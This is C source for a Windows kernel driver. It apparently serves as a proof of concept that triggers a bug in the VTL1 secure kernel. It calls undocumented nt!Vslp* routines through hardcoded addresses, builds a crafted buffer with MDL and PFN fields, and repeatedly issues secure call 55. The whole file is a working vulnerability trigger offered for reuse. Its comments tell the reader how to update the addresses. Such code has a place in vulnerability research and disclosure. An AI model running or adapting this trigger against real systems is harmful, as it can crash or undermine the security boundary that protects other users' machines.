#pragma warning (disable : 4152)

#include <ntifs.h>

#define MDL_COUNT 100

// You may have noticed that this is called VTL1-Fuzz-Test. Originally, I was going to fuzz every SSCN and find some vulnerabilities that way.
// However, I was fortunate enough to find this bug, so I repurposed it to trigger this bug in particular.

NTSTATUS DriverUnload(PDRIVER_OBJECT pDriverObject)
{
	UNREFERENCED_PARAMETER(pDriverObject);

	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
	UNREFERENCED_PARAMETER(pRegistryPath);

	NTSTATUS Status = STATUS_INVALID_PARAMETER;

	// You will have to change the addresses of these variables and function pointers.
	// If you want to dump them all at once in order, you can use the following command:
	// ? nt!VslpTraceLog; ? nt!VslpLockPagesForTransfer; ? VslpEnterIumSecureMode; ? nt!VslpUnlockPagesForTransfer
	PVOID pVslpTraceLog = (PVOID)0xfffff807bddcd260;																// Address of nt!VslpTraceLog
	NTSTATUS(*pVslpLockPagesForTransfer)(PVOID, PVOID, ULONG, LOCK_OPERATION, UCHAR) = (PVOID)0xfffff807bd0d3e38;	// Address of nt!VslpLockPagesForTransfer
	NTSTATUS(*pVslpEnterIumSecureMode)(ULONG, ULONG, ULONG, PVOID) = (PVOID)0xfffff807bd082f50;						// Address of nt!VslpEnterIumSecureMode
	void(*pVslpUnlockPagesForTransfer)(PVOID) = (PVOID)0xfffff807bd0d45d0;											// Address of nt!VslpUnlockPagesForTransfer

	UCHAR pData[256] = { 0 };
	ULONG64 pTransferInfo[64] = { 0 };
	PUCHAR pTransferInfoCopy = 0;

	for (ULONG64 i = 0; i < MDL_COUNT; i++)
	{
		memset(pData, 0, sizeof(pData));
		memset(pTransferInfo, 0, sizeof(pTransferInfo));

		pVslpLockPagesForTransfer(pTransferInfo, pVslpTraceLog, 0xA08, IoModifyAccess, 0);

		pData[24] = 1;															// Used for securekernel!SkpgConnect to set SkpgNtSmtPresent to 1, unused for our purposes but kept because why not
		*(void**)((char*)(pData + 32)) = (void*)pTransferInfo[0];				// MDL
		*(unsigned long long*)((char*)(pData + 40)) = pTransferInfo[7];			// PFN
		*(unsigned long long*)((char*)(pData + 64)) = (unsigned long long)0x40;	// TransferSize
		*(unsigned long long*)((char*)(pData + 80)) = (unsigned long long)0x40;	// DataByteCount

		// Additionally, there is another MDL that you can provide (one for the hotpatch MDL), but because that is not required to trigger the bug I did not implement that.
		// But, the option is there for you to do so, if you so wish.

		pVslpEnterIumSecureMode(2, 55, 0, pData);

		pTransferInfoCopy = (PUCHAR)pTransferInfo;

		for (ULONG64 j = 0; j < 2; j++)
		{
			if (*(short*)((char*)(pTransferInfoCopy + 18)))
			{
				pVslpUnlockPagesForTransfer(pTransferInfoCopy);
			}

			pTransferInfoCopy += 72;
		}
	}

	ASSERT(pDriverObject);
	pDriverObject->DriverUnload = DriverUnload;

	return Status;
}